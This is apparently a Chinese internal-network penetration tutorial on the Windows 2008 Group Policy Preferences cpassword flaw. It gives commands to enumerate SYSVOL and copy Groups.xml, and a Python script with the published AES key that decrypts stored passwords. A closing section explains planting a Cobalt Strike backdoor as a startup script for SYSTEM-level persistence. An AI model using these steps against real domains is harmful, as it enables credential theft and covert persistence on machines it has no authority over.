[内网渗透]—Win2008组策略GPP漏洞

GPP

Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,它允许管理员配置和安装以前无法使用组策略的Windows和应用程序设置。组策略首选项(GPP)最有用的功能之一是能够存储,此外,这些策略可以对机器进行各种配置更改,例如:

  • 复制代码
  • 映射驱动(Drives.xml)
  • 创建本地用户
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)
  • 更改本地Administrator密码
  • 复制代码

漏洞原理

当管理创建了一个新的GPP时,SYSVOL会生成一个XML文件提供了相关配置数据。如果里面提供了密码的话,那应该就是AES-256加密,看起来这加密似乎是够强力了。

然而除了在2012年前的某些点外,微软在MSDN上发布了AES的私钥,它可以用来解密这种密码。因为认证用户(所有域用户或者信任域里的用户)对SYSVOL拥有读权限。在域里的任何用户可以搜索SYSVOL共享中的带有cpassword字样的XML文件,里面包含了AES加密的密码。

配置GPP(组策略)环境

1、首先在命令提示符输入:gpmc.msc

2、选择sentiment.com -> 右击组策略对象 -> 新建,新建一个GPPUser的组策略对象

3、右击新建的组策略对象 -> 编辑

4、在弹出的组策略管理编辑器中,右击本地用户和组 -> 新建 -> 本地用户

5、我们将域中的每个计算机的本地administrator 管理员用户更名为admin,并设置新的密码123.com

6、回到新建的GPP User,点击添加,将Domain Computers添加到组策略应用的组中:

7、gpupdate,更新组策略设置

8、查看GPP User的详细信息,获取唯一ID

9、在以下路径中中可以查看到刚刚设置的用户名和密码

C:\Windows\SYSVOL\domain\Policies\\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml
#或
C:\Windows\SYSVOL\sysvol\sentiment.com\Policies\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml

GPP漏洞利用

影响版本:win < = 2008 r2 或 没有KB2962486补丁

1、域中普通用户可以直接访问到该目录

dir \\win2012.sentiment.com\sysvol\sentiment.com\Policies

2、但是有三个id文件,可以通过以下命令直接查找xml位置

for /r \\win2012/sysvol %i in (*.xml) do @echo %i

3、将xml文件复制出来,查看后获取到了用户名和密码

copy \\win2012\sysvol\sentiment.com\Policies\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml

4、通过kali自带的gpp-decrypt命令,解密密码

脚本Gppprefdecrypt.py

#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#

import sys
from Crypto.Cipher import AES
from base64 import b64decode


# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')

# Add padding to the base64 string and decode it
cpassword = "haNeFLuCPPa42VoahM8WYQ"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)

# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)

# Print it
print o[:-ord(o[-1])].decode('utf16')

本地组策略(LGP)

若是非域用户也有对应的权限维持方式—

1、用CS生成一个window的后门1.exe

2、开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性

3、点击显示文件,打开目录:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

4、将后门放入该目录中,并添加到启动项里,这时在重启电脑后,便可上线CS并且是system权限

参考链接

浅谈域渗透中的组策略及gpp运用 - 先知社区 (aliyun.com)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值